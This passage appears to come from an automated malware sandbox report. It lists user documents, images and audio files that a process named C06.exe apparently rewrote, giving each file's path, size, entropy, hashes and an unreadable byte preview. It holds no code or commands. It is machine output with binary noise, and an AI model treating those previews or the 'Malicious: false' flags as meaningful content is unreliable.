Preview:	YPSIA..h...M...w..2...6.d,.X.w........4>M...y..h7._<....R.>.\.w..M.u...}..^..j.u..az..S..j..P.h.a...@.^...$..........G.\|&.kU....5.....Qw:.U..A...oM.......M..N.vz,....V..y....H..J5...d{..g.W.P:O.....0....u(...W.Rtz..+".}./....4q...lI7;..W.......&..F....p.A...ZIr..ap_kM..%.h...S.';5..u'.U..FM.....)..~YL\|....I..VQ\N..Q....n3....6.UE..u....O...m,.T..W..E..$u....&N@.u2...`.....\|..;:_&wD..}?r8a8.(...Q.w.{...wN.7.A...h..)J.(.B.s.@l(..C...yp..G....h.Gcdb'.....9.........tK.....=@.b....]H.e(=.54..A^E.cq.H.....Yh.C.4.......b.....YA).6.L....=.....ms.....i.........\.{...=.zW.I....v.O....z......t.L....8..\|....z5..nG..U..c.v....d...R.)b.......q.1S.[..L(%...`......Q'.4..cz...t`.v..8=..C/]9.....h5.m.FZ.....g-4..$.....@@e.!..aW.Wi...a.S..\..2x..6pG..a.5...F/..Q.m.;..R.r...nxU[Bp?d..K...dsm~.s<cyD.+R....;&.]...&./s3ZZyf7I\|.R.....Ag...Mq.,L..E.>...8s......,.\|(+/..^...7H.....r.......?3...c.<..C.F&.=j._..U......:8.y.P~....}..>.Mp.0P6T........Q-9.z..s?.A...~

C:\Users\user\Desktop\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851084471741415
Encrypted:	false
SSDEEP:	24:w4JYR4OLo7h2MUUdTtGMSEg2mO4vdfwlWvpyCvF5kasdofl4pyv/qbD:w4J/ppkM6O4v0WvpLvFrsdoflNv/ID
MD5:	4EE5601B1AAA1C7E44B9E5A3441B2E15
SHA1:	A20B7EA815039C47542131B811AF3D54046C3B75
SHA-256:	9768B39B20A01D5FFFD9F83C50F0E14A0E37572EB771D1ABD26F00E292ABEF3A
SHA-512:	3F9F91EA5F6FAFDD5D44441AAD070F49CC4807BF9EBD02ED04B6FE7A5FDAA4056D03A068E4F7AF9084731B680E9E0211F160F414603B26C10FFF501427AFEF82
Malicious:	false
Reputation:	unknown
Preview:	YPSIA~}...H..y...u."V0O-.....kc.F.k.L..K%.07.Is....T6..wdG.&>-.x....{......K...,;........'.q.....$.G.S..Ve.....$.zUla.R'H.......%...@.Ww.c.z.\|".5.7..f\|...6.t.=j.8..x..P..mk./>.eE./.fX.^.7n.....D.............n9..).r.<G...=n....V.T.....YNZ ...^.W..... Lqnt.{.T=.na...$.7..b.#..PH.c,....N..^Q.[....~..]...il.m....lx..........O.6..&....\|+ff/....y<.X.........s.O.`....M.......J....E.h....wm;H.9o.'.$5j...G.]..\1W=6.Dx.\|..x..$P`.........?]....c,.X$.'......g.3.....=.qx.M/.yO..uOf.-.3`.)8.....'...g.E-.8D6.iC...Q.u.....C`.1....d.Z.X.Y...q..D.t^g.....7...vO...ld.1....~.......Z\<z#O.L..&.U....D...+. }R.[L.46.#6zm.D.g....f6<....MO3.8..x....0........&,2p.......wG..$bs8..Q..[... _.}`....I..Ot.....D.....V.n.U...].BL.FS..]+...?.-..p..Pj...J..\|..z..j.p.j77I.9.c....:#..yD..........fV.V.)..T..H..[..!..[.z..[~...s.9.....?.;....?F&.)oI..+..51.Z*....Z:h.9$.(..55tA....;,....3.......79...V..a..0.%~..5X.R....u..&Q.......pkQ.......g.L..].u...Q...<p....+...t

C:\Users\user\Desktop\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8691411188789875
Encrypted:	false
SSDEEP:	24:R4F8d2sY75bvPHF8QJBVdiJ57IJnF298xh7CGNLZnR351omQk6MLR0bD:9FmPHFbxEk+9877CGNtp/oE6uReD
MD5:	C66CFCC5A10F398E3D02AADCA8FEC249
SHA1:	7FB5904F9E38E5E262D54EE0CF79770ED4BFD6A9
SHA-256:	26CF64A1B13483F011A91968421F744739D8F65917CC7C542085BBF885AE261B
SHA-512:	32A6E1C493B60C03FCFE902CD69881565AB0794C6CF1EB985BAEF2A9247F7E8C1A280612A12B2EF8D7EFAB1FE5A556697377FA344336B8563137611EF1C1563F
Malicious:	false
Reputation:	unknown
Preview:	YPSIA..f....=.....\M..,.:9....]..&...Q......1.....\|.k^.[p....a</X....@.V2z.3#.{.,....../.... ..~.''.'t[...]J.+\3...z'.;..[....hI3..&..?"..EMGB....L.X. .Q......2tuZ..........}_......jY.o..F...S...Cb?..tG.).........&.. ...Wf.}..p.E...1T...?j...H9..ak..K\|..1\|.Y=.CE=....+....K..kuIu.k......y.+>.'I.....h!Q... .O..E{V[...!t3.O..K.M.t.b.....O..W....Wq........h..6T..F....w.&C....9vyJ..Y..`r..)..U.....b...C[..\|....X..&M..X.%TgC.4F5=....3.".....=F..../u.-..........y1...7!\|...T_\|...A....q]...&`.Q....z.~~...__.*lls....0...........+........1.WbKS.Z.......KQ..5.:......6..$C. ....F.2....a.....H..#.({....IlB%...L..%F7.k.6.Y..m....]...`.e0SG.Vx..iG..%.H.................2>....\|........1..s.7...(..Fy...>.Br..s`W..U.\|-}..QR.....nf9{.\|?.[m.....O.I....F@..V..Z.K..P....AUq.'.K.[..-....>z.:...o...J..U. k....a...V&.d...b!...]$.z?...U45.Q.w..^..oB..N$8jW..>...(.f.X9..r.B.y.}....g{e.S.co.K.T.]....i..#ERBn.CQ.>..cDQ.......aFz.^bN.2...l.6...`..+..wrs..t..

C:\Users\user\Desktop\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859522289976094
Encrypted:	false
SSDEEP:	24:cYkTrMxOCxmsLyG+V1bUb+PUHJv7UoPw/6/V3cCt9DgROrzx6CpbD:c5wXssLyGUxUbiUp7UoPwFCfU0s+D
MD5:	149686D0553156C7817BFCB5489E84F4
SHA1:	FC69125C87D3E032CDEE1F79163B7876A85E5EC5
SHA-256:	2086FB15240B910119175664C0A63DB43E873236BF81FD139931C1EB481E56AF
SHA-512:	4693487E9F10FFBA568EF293031AAF083042E8CA190CC905C3583DD0CDD8B8C0B0868FD4A1E9F1E8928E0D1C345CA423B72D6036A05D99C3C592E8A828843461
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC.C.$......].@..(lS...1f......nCz..L.yu.."NZ...e..'U..&?..a3....)..(iF.......p...W.4>....xP=.5.?.u.T...(v...y......>...9.=#....w.;......F..i.b,...."...._..d.-.+.q6~8!..v.\HP..l.vs....{....T..!.+.....~..R.d.!...c.Y0..im......^u"..K.6..J$.............E....'W.2...h..".....k.....33vjSF*....W.....U]....(.!.^4..f"C...Q..2/..4...)o.<>.a...M...v@]...i..8..@D...;.. .....~.K2wCid.......B.cPs....g.........\|.I.../...n.l...sO.U%.>P).\|_=..#g....m...O..b.........E..\|D.....K.....}.g...Q.Y....=x..a\UH...][......=>F..C:....3e..>E..Q..A.7....,[K.....W.8.K4R..!g.Xi.~......."2.HF=#2J\'.....!BC.^.L0.$...H.Y.....1uj.+.k..mo^vWw76w..i.w..L{.......\| (...\.#......Pd...4l.Ae.3..<S...H<Q.9X.Zp../.`z.s..t....>.)\..p~.`yu..S..r..#.......DQ..Q.$rK.sM.r.....Y.Q..x........).0.....5.{"......d.....6..>...<.Q.-."....e..J.Mk.9C...~.!.63.?`.G...v.O.0?A.....<h^....E.I..6..A..K..pCs.v.D......:..+.h.d.+..M...2c..M.=.7@A(....c\|.q.k..V......!n..M..

C:\Users\user\Documents\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834251884666792
Encrypted:	false
SSDEEP:	24:r57bVVWyuByplC8UiTM5euXwYYQPhxuiz+S80+7wc+JvMEM/60jQm5PobD:JbPWyuUpMtpDXt9xR+ScwLvMV3jrqD
MD5:	5E8B991A58F8E275DDFFE0CB9AD7523D
SHA1:	4EC462D242AD022B43200D9CCD4005FCD89A994C
SHA-256:	EC5CD01FE18BC9B5B0D55C7360E63DB9B327FEBC696BE8BC3A7067CA8C27C7C1
SHA-512:	9769BCA05BD188BFAED88E7EC7BFB5BA1F179D58D790D5920E8CA6B1D5B7D23221D30BD613007458F5DC2470D8A0BD9121D2D665BB96969274FE0831BF795947
Malicious:	false
Reputation:	unknown
Preview:	DTBZG.;...1......z. .....9@PWt..Z...4.?.&.X.GV>....X#xT.V@z...Q........a.ktRu ..Ls.o`.......\|.q.......C...r.bis>e5.k......gb5..C.O......,(]...1k.......B.ML...k@..h.D..(..`.....n...@...BX....,...Y...h4..Q..J..A..sM5v.H:...r.k....BU..h.+.5.....bc...t.......}...A91G.:.....?+...:..t\#.W.#+....{?.2F.D..C=.;.w.r-l...4j.C.}h'%aX<S7....y....[.`..D..l>-.=....a...~..2.....r.....%B....J...^X.......;....HQ]>...,V..U.2...h....{.?-.k.S..?...h.^...S....1.k.....j`\|.%..}.6\|..A]R6.....o....q.b.5@7..xjL\.8.WV.25.A!.+3+b.S.[.%.C.Z4UG.&D..B....w-.I.1.I....ld...tuG..AT.+..}...@.\|.F.3...;..c...H...b..=.. .M..Z....q...~.....l1.-..>.RY...j.e.@G.J.....~G.'..+y..LE....$._......y.....1.dO.B...5.}......!if....7....c..g\.).;.....r.2...........-...c}....^...Ws.YQ.b...(oA%.j..N29.\..l.M.<%>......=3.]....(0..-t..?.A..`{.`.%.G$...{...B.KL.U(...c&.I......S_Q.....M.....e..lxj.J.v.'..4.S..5.j.o.s#.....0e.q.K...dA.G..^e.{........9dQ....];..lr...m)f.2...d.....a.!.._..#.X.;g

C:\Users\user\Documents\DTBZGIOOSO\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849095785143628
Encrypted:	false
SSDEEP:	24:JwYZshjfhrf0dTgi2As+8fvxmTmwekdKPSLuu2FaDEzTQPSplCGtbD:JwYwp7u0TzcTiuTEzT8el/D
MD5:	D0622E2E76857D2238EE45CE1131084F
SHA1:	143F3F87F0727A585FAF77D8AC6CA7FCB70AE7D1
SHA-256:	F37CC46039BC0AC3DC272CD90A68936526000AF8F709B457E7F344A1F1FDE275
SHA-512:	EB221052B66EF39CCB116BEBFFA7A1A4F79CC601059D712600FCC4D43A2BA22C67D5A67154EBB6CDF6686B5E04D991C532B6C46D1FE11F951127E01B5C4E1ED8
Malicious:	false
Reputation:	unknown
Preview:	DTBZG..f..S.O.k.I...Ha...x.2.o.$F\|./#..X(_.C".s.~<..._..>.?.o...4.{@u.V@.`..J......r..r..O.......]}&.......p/-..{..i?..._"r.?..i..........'](WZ...........~..?s6n.T.Q^.NhS..;.'..O..>_..^.v.A..N..`.k......7...Q.L..GE.;........7.........('o4?...#U.)P3....^..EU..cK+@]~....D.>h...Q.B&...z.......u.x....u..F...x...S.t.m..p;M.ea...`..{h.,:.p.....@!Ri...&S:...X....!@.r.M..H..Ul. .....+.v;.L....`.YOR...le.....I.:.....\Z4...#n]d...n..Z.....b?..mA.[...0x...O.&...?r.........(.p:.F.._;a.k....ry8p)....N.....MT.T4.K%..\,1.1Zw......@....V.......v].J.x...z^(.X2={........ >.g..U...j.>.C.i..e...8ChQ.-M.F...=5.5..../.6.] ..F.1.'C.....9...&.W......\j......L.U....(....j".-...@...W&.o..Y%....8.....`^f[.k.6..a1.z...l.G....!-..........&..a]..}.o.........`.x...;#`...}&N.v{.$..'{...L.....w..(.!.Vh...#J.xnF~..In.G,.7.[........5.........C<s.zF....f..C.. ",:.I..sgh..1.?}..d.....N.aU(..p'ut.....a.........t.g ..q...;.SQ....%*....R...1.=....s..YX;A.3.[gZ.:~.p...J...).

C:\Users\user\Documents\DTBZGIOOSO\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8565428905592665
Encrypted:	false
SSDEEP:	24:2YdNp/6TYYKtzoka6JFv0226K2hcnkxxJbSlMWVRVQmqGAIrMFfGuhbD:/p/rYSzoY07KhcnOJbSlbQmqGAx/D
MD5:	B4AD41A0E55345472170788EE60B6A17
SHA1:	1B0697E36D52B53D5783690DCE8F4C3DC8EB8AA3
SHA-256:	85EA37A678C3106709AF4E85DCED2AE85F6F360A4797BA0FA807530160E22B06
SHA-512:	2FBAFEAF225494A4AA35F0548BF078A0BDAFFD74F34948302D0D5EC8497772081B6E4B0C8301FC0D30A10426EF16231A17BC99AB2AEF32F0D0072328CB631EA2
Malicious:	false
Reputation:	unknown
Preview:	KATAX.6b...j..h...b]K..~...!Q......-...4a.H....9..."..d.z\|".v.......v..g.a9VAODc..]....K..........zh...s.I.&S.....w..:t...++>.:.i.<.L.9.R.......S...%s.O.r.y?..N..9......[)F.p.....{d.<z5...Dy?!.....U.s.l..m..j......Eb..._..?.c?....y.....~.J,7._...m...Q G.dU.Xo.q...,r........yL........I..5.J..6L. ..\|.\..kf.)U.,H..zV...O>:V.Q?.&.`R;^<.....O..-.AvYC<,..}S....L.CV.:........R.:}].Sa.!...3./...Q.M..,..c...6.C.NF..Z9.>....I.\|I.\N.1F`N....$nM..r=Y.g...K.0.JF.TC...L}..\..o@D.`..Q5.u.\|........1~...'..G...!z,..K..kq..o.!.....L....K..;.#6...>%.&<.p.2..<..s..y.....g.U..SF<.=2.2Q.=o......k.......\.+%.T,a-.w..N@p..x4.]..d.w.f.;@{H%.'.`..Z.....V.S.........u?.......g...Q.!J.,`2..p.......}O.......!/"...,.+.k}Dy...?.....>..)..].w`GG.w0.ty.a.....9....%Z..._...H.oX....:....z..Uv..q.iGE.k..n.t<.Z].$D[.#.1z'Y..V./...>.n.iN....;.........x.2...ez.........+..p.Q_..Y..$ .i?...(.....fr;.J9ps...e.S..b.../......}.N:..=.p.^F...x..!.C..TZ.*...X........[.Y.N....V4

C:\Users\user\Documents\DTBZGIOOSO\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833475839549744
Encrypted:	false
SSDEEP:	24:plNTfdUL5t/1PeQYDMHlSTND0Bj+I7nZagaHPhYNq8XWuLq2QPxYtbD:plFYYQYDMHlSGZ7nZ9NLbLq2QPxYND
MD5:	FC88194F98DB38C36119B236A6861788
SHA1:	9B38A366DA6505C387B5A90DA080DFCE2FF91856
SHA-256:	26102D2043829D78B024212EB41201F8DA72E30717CE4402CAE0C44C350D2F74
SHA-512:	3E0D5275C485C1C03ECBA4E3A0C57DC64874DBCCBC1C1D2B4E5F1DC630D46EF39B38A1A9498520D112D8E3ED514F69A4782625A6BE392C6A5756C900D208B62E
Malicious:	false
Reputation:	unknown
Preview:	ONBQC.:..y.aZz..2'..?aF#.....y...X..O.g.f..K.?.L..Y.....>.iSJ.B.F..9..r.._<...m..W........}....$...AEu.P...9...M........)....J.Jd...lO.\|.Sxg...B.'.w...5f.^Z...'.s.......F.N.~..0x.^.X..;m.k..E<_.t5.......g...J. b.....Y.....$.^.u.i..K...'...).9y....s..Q...,.g....7.......gN\|.h.p...Al.F3Y..5..<9.).:e:...vt.b.o2.xS.`Wf.............X....k...(.3..3p..A.<+u.\|amu.ia3W.=..A..`<c.@je5.v ....\.#.th...b..t."..2...[.G.jv..[..........C.v<.....+.....D.Td..52..t".D:C?T.....9.1$..q..SV.8.l.J........dz...5.V?.MGg.......@S..eJ...A...y.....C..Y..b.h.l..I.....2o.....jC..wg......u......k..8E...$(O.......=.X.5.UTH.).&...&...)S.Rz....AW.l\|..d.[q.i.9.\|a...>`....r........%..9...a..I../6......^.r5.8.Yyk._s..6s....l..:k?.4.km(..Vhe.x.TC."_........'@.O...z.!...n.e..1..b...+..n..2A..x.}...9C_8J..F..q5...+I.IX.Y....v..B1....Nn.4UJ..[....0x} 0...$.@.r.?_.`.g[E.^......^kK.p.y....UL.e.d....j..B.Qa.r=.....\.....a...........g.8o........X"..4...>x.tm#..=2...6

C:\Users\user\Documents\DTBZGIOOSO\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834051138061571
Encrypted:	false
SSDEEP:	24:zSIM5CCHgFLGTb87bYu4G5UC2/tfnhbvGWLsmRQHvroPQdRmcbD:+B5COQbYH91tnhbOvvrGKpD
MD5:	E20EBC596783D5042FD58D3C5FE964F7
SHA1:	A190F5A70E53ACD6273C06DB77AF50A8EF8EB8A9
SHA-256:	048A6F23560EA8366DACAD47B1546FD84FA7F34A89473BB2728215D5CFFE589A
SHA-512:	6718BC6178DE8D88C5C6AF5479561691DDF2E0E448C0762DD49B054ABB94F59073E138FE849FD13127E1632FE70BE238966EF78C5EEFAD69EBCBEA520442B2B9
Malicious:	false
Reputation:	unknown
Preview:	UMMBD..o..).).p.....L...A5.D....U%..........1W..CR..3..(...;...;/"...3........T.VMV..X..B.$z..-8..ds`....@......l..nf.).l.z...U..&.......3=.......&.:A.N......QCs...?ab;.@..}..b.?....,...Ww..oD....W!.u.HR.b.$.X..w..m.e.Xce.WF.P..By.'.Z.....h.w.KP.?.M-.e......u..$.sK..x.c>...U.U.y...b.s.WW..,.....Cj..ff..r..'...s...../Z[b.\.`SG[....1.e=.........v.Z<C.J.B...{...o..`..+Il.......Q.2{^6.g.mQ...d...;..o`b.\|........5...\|.g...-0.BQ.E.".......H9..K....v...d.4.\|N.)C?...H.../A...s....iinx..}..... [/.=e..%).R....`.Q..."u.)Q.~q....AD..."...m.>..P..@.,nHm..v...y...X.....[.";.%.....A...r..WA.t+d.;...r..J.4.F.z.kL.F..O.,B...._..j..ui...BH...... .)&..j........c..l}x5......g}..$p.j......zB#e....v.qL+f...q..-K.8.{..iu...`.....U{.w..7[....x.....Ox...._.......4.*Hq(.;.....h..M.\.n`.E.E.I...q.i...\|}...f...!..}.W...(m.#;J.A.....LH....+.Co.[...r=....0.rB.9zv[..p$...g.A\.n{?.}.........N}.7).).../..F.92.L..x`p`^..Y .... .....q..'..^.z$....\|...{..

C:\Users\user\Documents\DTBZGIOOSO\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833246901862257
Encrypted:	false
SSDEEP:	24:9Mvr+iYJk0P+gS1DOIbxYvZ+7BRelfb7DTaC2pN5si44lqJDIFl+QFkhmHyGbD:KiiYJJGX1DOItYx+wf3naC2pbsRfJDQL
MD5:	916B2F5F8F415AE90FF7AE123B8A3163
SHA1:	4C653A6EA964EE41D2399347898B51E7A8B81EB2
SHA-256:	BB9B86100AA2165548B22108D7C69031FC0807598467739AA299EAF496841673
SHA-512:	59F41898D175E90D196877617BCCA99498287AB57482D0DE408AC58F647849F5A0682CFE6EFCC6840D1179D2685ED703559B481B0D4EAC17CAF8B3D1737C1500
Malicious:	false
Reputation:	unknown
Preview:	VLZDGM..#...GV@..x....X.$..?..J..M'.0.....p?..S..am.......q.c_..Sw........=..!\|.\|...;..f%.`.U%.6P....4Kc..v..?........n.!T...5...z..o.%".+...DP..`..xY\...`.6.i.>.X...k..<.P..,3$.Rt........]..&.Q<rhC...*....w.,...G.....g....{.m7Y...4j..%(....Q..@... .o.^r..)....i......V.7.~+.(.J...K....[r....5Y.."....Y)...v`l'}.u1ri.G....\.%\"P.....,.W?.>2.J..j...$...g.JM.~>Ew.PF'_.94.....+..HG..#jT...@...Qm?-...yf....v..{k.r.w....G...+.]......pM.....)..?.R>...$..Y.uG......q..s.9....N.hJ..{./.......3.#...I.K...XR-D......<....E.).MG2..,.p..h..6SL.....a.....;A].!..W....b.........rgaK8..u.!.d...`....b..r....7S....M....%...}if.}......C.D.uk....u....j`\\|.&%......\|.....T.wG..H6S....>...7.E.2S]..0.....1W..I..N....v..I#.....G..G. ...i......!).%.l#&....w..g..`.E.....6u.l."1.6.vt&l=....r.......,....&........a.....,.M..b..........y....0.;..6<<.a....LI..=01..hF....Q....!.....^.U[.&.9.0.......Ob..%w..K.)..>+....... i.;.&..3.......(O_......;.3o..\|.g........Xo....

C:\Users\user\Documents\DTBZGIOOSO\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8426693810582515
Encrypted:	false
SSDEEP:	24:NQurDtLVgTOmaCRsGOLZ8jnZMjBRbkHvhgiRW25BKjajdtTbD:J3R+amaCRKWZwBRbkZb/58SHD
MD5:	A72131C1036B0748177BBD4EB7A82A9C
SHA1:	5D07B0B34F5B5D6D1CA72C4A89E162975FC1C37D
SHA-256:	56AEFC77B5321250A045CF501512A4F80E2221D0CC5D7F02C50AC201F311A9B9
SHA-512:	9A83DABEEC0EECA6C80B7F642644DA391159FBD5D53E5C9E565C8680CF769338F37AFAAF79DADF990F03CFCB00944D1AB8AD6F3F08B10485A3758983866C666A
Malicious:	false
Reputation:	unknown
Preview:	XZXHAq3...y....#.\|?...2..N..Jp..-T.).I.A.t....U..i....[..R..WF89p...2...h..T...e....p.W....z..GN.^5.I<..P.x..o}.9..i........b......x....>...>6...I.\E<.n...9.'k;Q..r....,Q...Mr..5....u....a{I...L...2.Y._!$..H..V...DTH.PK..~...$.&'.6.U.<.)..`% ...>j....l...{.w..Z.m.'S4...l..,..)#.d0.?...P.....U.Y.%.k...2.t..mT.... r.X.{..r./...!..[6.=.&..8S...T..Q.XZ0p;<.mo....9'.9..N....5...4.OWt.d.....E........J..d"....y.4........"....."EV...<.PUg....\|.......9.......F...Ny..J:.T..m.N.. $.Q+....N.N7..5?..RcW.t.D.0r..CE^.b..2.{.Cr.R..A...Q..pH......,..a...].R ...s..jCY"y..vC...4G...&......3.^.-.b..;h`..B:.. .X.W...(...........'.[....M.....E.g..P...h.$..o.NN........2M.+....[..0.iu.....E...2..,.v.(..;I!.......^.]z.V.I....i....6.Y.......V...}..G[.F..V....1Z...@..w.........<.n..E.."...@....$.y.... ..0.h.......f.$....u3(.....e../...#}..:..'.BD_e..2...!qm...08...:;3..~.:..f&e@0......=d.D.L..\|\.P!..q.U;..y..K.-..-[.....c:.%o..&...[......X\|P...X..\..Ti ..\.....{.\|..%..e

C:\Users\user\Documents\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.819893514952359
Encrypted:	false
SSDEEP:	24:2sdhpBvzQqXJjabNHyITSbM67iWoBldUOCZTR3Z8bD:VHbQqZiN3TSbdybwZ9pWD
MD5:	7D438948A9849B17E5B7F9426816D947
SHA1:	89A2BD00657786129E6265438BD54C7E2B3EA2CF
SHA-256:	679489746A04BD99D56F22BA30175D8FCD99919AEDF821292DE1096D83AF2B7C
SHA-512:	C9167F9FF1D27F1204B4408A9BDFDB5EB81BBF171FB5242C0EC95696C5205FCD52D1FB44824009CB425C60D0ACCE1BE47D08946B0414992EB8E1FD1DBD5A30C7
Malicious:	false
Reputation:	unknown
Preview:	DVWHK.-....5...,..h.H.2x.25K.B...].#e;.p.t.oD..~.\.Q_g..q...p....$C....F.]..Y...e\|.Sih.6......Z9.R..e...E~/J.^O(........mSGV..........S..I..u.:R..n.5..g-.V......I,O....`.,L.A.!{..Z.eOx.a.l.5....>......{...x..Y....j...`..8....}.>`U&.....]'............E.).V..~.{.X..0.0.O..c"..P..q/...l..>.0%!..'...`...]O.......5.s....%.?tk..u.zbEa.).T._.s..{..;O..B...O4.....Ku.(.v.....y...k.d.@K .rQ[~...jJ3c.[.\QF....w.%..\...D....4...;Z..L...T....[[Q.........c-.[.j<..7.P.C...Z..b...Z..{.....tU..\$f....0.V...#.....'...G4.h_..[.Q.....#...p.W:.D.Z../.P../Pu9D...p..k......Z#.&....,.rR..S.Q.X...f"..UJov.n.w.'.l9Z..w<........p..d..=T..{..f.#...m......s.x(..dL........9..}&Y.......C<.z..f.{...%..(..f.C..}.k...;.9..B....'.~i.f9Nbv...As..S...Y.{...}.q.+hi....X.on...^1.`.......Ik.....M@.-8@.]K.....Rx&.<s....`Y..o.?.[.........Z.B.....2...,..P...0...uy.d.o.k.U4,M..t..P...n.F.o..@.1.....J....4...x....9@l..>...}V..v.l...".N{yo8....P..._........[..6.iO.%G.ou..R...

C:\Users\user\Documents\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829792199116306
Encrypted:	false
SSDEEP:	24:s0D9xtyIRaMwKaCFo68SmkpW8DUCnG9sjvOK9HU8YnHB3ESJbD:s0NaMJy8pW6d4IvOK9088VDpD
MD5:	B1A5873729D77D11A1E1B89C97925382
SHA1:	21FA456CF6F29C9FE899B3220055E254EB81432A
SHA-256:	61F2F1255A4B73F28AAA7362E40580F0AAF4A0007A2C8601DD8C7A38CBE2BB73
SHA-512:	048C55BDB943D5ECBB1150C86A55CFAB4A11F4E42C04FC081463579AEAA2E07CB5EB67354DBBF40C729AC89479C3B5EA1567D44B744FD8185466AB1DCF33A7F3
Malicious:	false
Reputation:	unknown
Preview:	KATAX.G.......L;.,i.pY./.?..u.I....4.-..Y..x\.e.=.u...v.....Fbcs..;Lf....!2....C.W..'...].. ....>.pUYJ.Q%.8....O~Jn...}.Z[Z.9.1h.....pJ.o....6.^.V....x..&...("B..h....m.UvY..x... .!.@>+...N.G-.....JT.{.=...<Y....G.($.}M'.%.z.8.A.....X..tw.....vC.:...F.h.....-h..q.R.h},..<...e....$.S.AR....{.h5./Gp.T..8O..!....J.3n.7.Kn.Y....C.e.....Y.k...l.h.s&.,..3.5.\.$...x...N$.ckc..g..9...P.:..$ ..&.e..&..a.n./..J..,u.B&.=t\|..s.N.".....d....AG.:.o..t+.......3..m]_}S....P........P.n..O.t...e.\_.`..A..-..&3..M6..ih....I...a..P.1......._.....!&....c...Wfjt..<...........Dr..Zd.\5\|..RJ.... X.W<(%............&.'z.k.-\|..?.........]98....WX...[.h....6....(l.?......k7.R&..R3....z:v.5..."......W@..x....H....INC..F...)Hf.)#.....1.\..'.1..9.B.........3.n'4s(.2}_...k.7.Z..L..b..3b...A.6....J!..O..`}.jD.^.~e.t?,.Rw....D.D.ads5u........%r.%.ei2.e8....Z........mj...O....M...H.%P)q/....6..hk9_Q..j.>F9}..?.K.PJ.........v.H.mc....R.qu.Wb...c.\.......k.SM.:..]4..\|w..

C:\Users\user\Documents\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8684338450623805
Encrypted:	false
SSDEEP:	24:jjcT4zmzAgDm0e1Izg3CO6iEgV7C5yyXefJssPbumQxLZRiI6R8gbH+sbD:jAymzbDb6IH/6nJ1TufLP6R8gPD
MD5:	40840B93EC04360733A381C2345CDA43
SHA1:	61001749817AC45E0C060E81A502D0D58AB5E1C9
SHA-256:	0028B57010431B282354D4F4B4983F131265F6BA57C50617895E865E8849B45F
SHA-512:	C38F8C79B3E053114CE1AB4FAA478F5CBCACC9F20181694441C65515EFC53E221B4052D11B218DAE6D16CE18CFA1C5CFD72C77C8F18BF02FFCF9B99166E9B32D
Malicious:	false
Reputation:	unknown
Preview:	KATAX.=........C/...o...J.+4s4}.O)cva.P..[....~.z...AbG..p....q...'.ze)Q..........t...ct..4\.[)..tm.2..&...ET..0...U...X.I.d.y.:."skV..."z.......0..R.jF..3.....L..n.]........A.xQ{.!f...Rq..o{.._nq..^....V ..9.QF0<I...R.EsIX...!B.l..D.._..?.....an.'..^]WVlR....5lW..v.z.1..G;..m...o.9"......b.B..R...'..N....z.Yw..O..h.......5.)9O.B._.J9.-.k..\|.(Ygi..,....a..;V..z.....o.m.(..t......8[...Wn.....J..x...r......&.....v..AZ......s)AE..)..\|...$#'.y....{w~C.....b....PV...`.U...5..:..rR..)...i\.^...4..%.G...?".9.Z.i.-...^...-...D.B8.b...e8.c..[.7.\|.7/6.c...[...^.=L....DA.@.k>o..gNP.C....x3;.a...e.-..mC.1q.d.i.I.6.:...=_.}.O....Ps....?.6...4'...b5o.=..z..o.U.{.@.%....w...D.7.....u...";7.....(..N^...j....]2:.c.......r ;...r....C.8.".g..0.@..;.K{)..=w......Q>....5...y....o.....hm.\ .....#.?r.As..w.Ur..*...9k...}v...b-.si...F.b#..]..sF.UQ/2..Z$...U...X......b..my...9...d..l.v....}4....v.].5./D.=9VQ.j&..&...18.R.2.=3Y..g.A..x.vZ\.....f...'..

C:\Users\user\Documents\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851597278870776
Encrypted:	false
SSDEEP:	24:l2W7n4w0Yrwscu1dskXvvaPZpRr+UpJdUAxo90KfS62O3HqWPovbD:l2SL0swC3nCpcUpJXSxSDO32D
MD5:	67C3FDADF8D8F97E3D36C086EF93F526
SHA1:	306C0BB469DC7402D7D97D1E7FD47D36F0D1A7AC
SHA-256:	C4E4FF0CE159C82B342AE9FAE59D0FEB8BC99D8D55C2FF70234994EB722E5E1E
SHA-512:	D07D4D2C8DCC8450CF25E5119A828A28AAD205FFB43C157E27136FA5BA7ACD7B4A55A01591576819A5E3CA893EDB962EB8EFCBC52857E528ABEE8C8B6E32DFF3
Malicious:	false
Reputation:	unknown
